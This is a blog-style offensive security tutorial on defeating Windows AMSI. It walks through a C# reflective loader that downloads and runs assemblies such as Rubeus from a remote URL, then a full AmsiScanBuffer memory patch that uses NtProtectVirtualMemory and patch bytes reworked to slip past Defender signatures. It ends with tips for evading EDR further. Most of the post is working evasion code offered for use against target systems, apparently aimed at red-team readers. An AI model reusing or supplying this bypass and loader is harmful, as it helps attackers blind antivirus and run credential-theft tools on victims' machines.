AMSI Memory Patching via Native API Calls

Overview

AMSI (Antimalware Scan Interface) has been integrated into the .NET framework since version 4.8 and is used to automatically scan assemblies for malware that have been loaded at runtime using the Assembly.Load() method. It was specifically designed by Microsoft to detect fileless malware, which is often used by threat actors to compromise a system during a targeted attack.

For example, to demonstrate how AMSI can prevent a systems from running malicious software, we can create a simple loader in C# that attempts to load Rubeus:

using System;
using System.Collections.Generic;
using System.Net;
using System.Reflection;
using System.Text;
namespace Loader
{
    public class Program
    {
       static void LoadAssembly(string url)
       {
            ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls13;
            WebClient client = new WebClient();
            byte[] programBytes = null;
            programBytes = client.DownloadData(url);
            
            Assembly assembly = Assembly.Load(programBytes);
            object[] parameters = new String[] { };
            assembly.EntryPoint.Invoke(null, new object[] { parameters });
        }
        static void Main(string[] args)
        {
            try
            {
                LoadAssembly("https://CHANGEME/Rubeus.exe");
                Console.ReadKey();
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                Console.ReadKey();
            }
        }
    }
}

In our environment with Defender enabled, AMSI will cause the assembly loaded into memory to be scanned by Defender. As Rubeus is known to be malware, its execution will be blocked. This can be seen in the following screenshot:

You can bypass AMSI by using a well-known technique called memory patching. This technique basically inserts a set of instructions into the AMSI function, with the intention of returning from there with a result stating that no malware was found. It works because AMSI is initiated from userland and the corresponding amsi.dll is loaded into a process that we can control. In other words, AMSI’s DLL is loaded into the same memory region where our process is running.

Further details on how this can be implemented can be found in the following recommended blog post: https://rastamouse.me/memory-patching-amsi-bypass/

There are many static signatures used by current AV/EDR products to detect attempts to bypass AMSI. For example, if you return the byte array { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 } to cause AmsiScanBuffer to return with a negative scan result, the following alert will be triggered by Defender:

The use of high-level Windows APIs such as VirtualProtect or WriteProcessMemory are also usually monitored by EDR solutions and can trigger behavior-based alerts if they are used to bypass AMSI.

Implementation

Depending on the ruleset of the underlying AV/EDR tool, it may be possible to bypass certain rules by using low-level API calls such as NtProtectVirtualMemory instead. The following code shows an example of how this can be implemented for a 64 bit target system:

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace AmsiBypass
{
    public class Program
    {
        [DllImport("ntdll.dll")]
        public static extern uint NtProtectVirtualMemory(
            IntPtr ProcessHandle,
            ref IntPtr BaseAddress,
            ref IntPtr NumberOfBytesToProtect,
            uint NewAccessProtection,
            ref uint OldAccessProtection);
        [DllImport("kernel32")]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        static extern IntPtr LoadLibrary(string name);
        static void PatchAMSI()
        {
            IntPtr avAddr = LoadLibrary("amsi.dll");
            IntPtr asb = GetProcAddress(avAddr, "AmsiScanBuffer");
            // Use slightly different patch to avoid static signatures:
            // mov ecx, 0x80070057
            // mov eax, ecx
            // ret 
            var patch = new byte[] { 0xB9, 0x57, 0x00, 0x07, 0x80, 0x89, 0xC8, 0xC3 };
            Process currentProcess = Process.GetCurrentProcess();
            var oldAddress = asb;
            var regionSize = (IntPtr)patch.Length;
            uint oldProtect = 0;
            Console.WriteLine("Setting memory region to RW\n");
            var result = NtProtectVirtualMemory(
                currentProcess.Handle,
                ref asb,
                ref regionSize,
                0x04,
                ref oldProtect);
            if (result == 0)
            {
                Console.WriteLine("Memory region successfully set to RW\n");
            }
            else
            {
                Console.WriteLine("NtProtectVirtualMemory failed. Error code : " + result + "\n");
            }
            Console.WriteLine("Memory patching at address : " + string.Format("{0:X}", oldAddress.ToInt64()) + "\n");
            Marshal.Copy(patch, 0, oldAddress, patch.Length);
            uint newProtect = 0;
            result = NtProtectVirtualMemory(
                currentProcess.Handle,
                ref oldAddress,
                ref regionSize,
                oldProtect,
                ref newProtect);
            if (result == 0)
            {
                Console.WriteLine("Memory region successfully set back to RX\n");
            }
            else
            {
                Console.WriteLine("NtProtectVirtualMemory to restore old protection failed. Error code : " + result + "\n");
            }
            Console.WriteLine("AMSI bypass successfully");
        }
        static void Main(string[] args)
        {
            PatchAMSI();
        }
    }
}

Our Main function could use reflection to load the above code into memory and execute it to bypass AMSI:

static void Main(string[] args)
{
    try
    {
        LoadAssembly("https://CHANGEME/AmsiBypass.exe");
    }
    catch (Exception ex)
    {
        Console.WriteLine(ex.Message);
        Environment.Exit(-1);
    }
    try
    {
        LoadAssembly("https://CHANGEME/Rubeus.exe");
        Console.ReadKey();
    }
    catch (Exception ex)
    {
        Console.WriteLine(ex.Message);
        Console.ReadKey();
    }
}

It’s interesting to see that this approach can be sufficient to bypass AV/EDR running on a target system. However, this only represents part of the range of methods available and are not necessarily the most effective in 2024.

Improvements

There is still plenty of room to improve the loader against modern AV/EDR solutions. Since low-level API calls can also be monitored by an EDR (via userland API hooks, ETW event telemetry, kernel callbacks, etc.), you can try to extend your loader by using hardware breakpoints or índirect syscalls.

However, there is at least one other indicator of compromise that relates to unbacked memory (an assembly whose address does not point to a file on disk). Fixing this is beyond the scope of this blog post, but for those who are interested, the following work provides a good overview of how this can be achieved: https://blog.redxorblue.com/2021/05/assemblylie-using-transactional-ntfs.html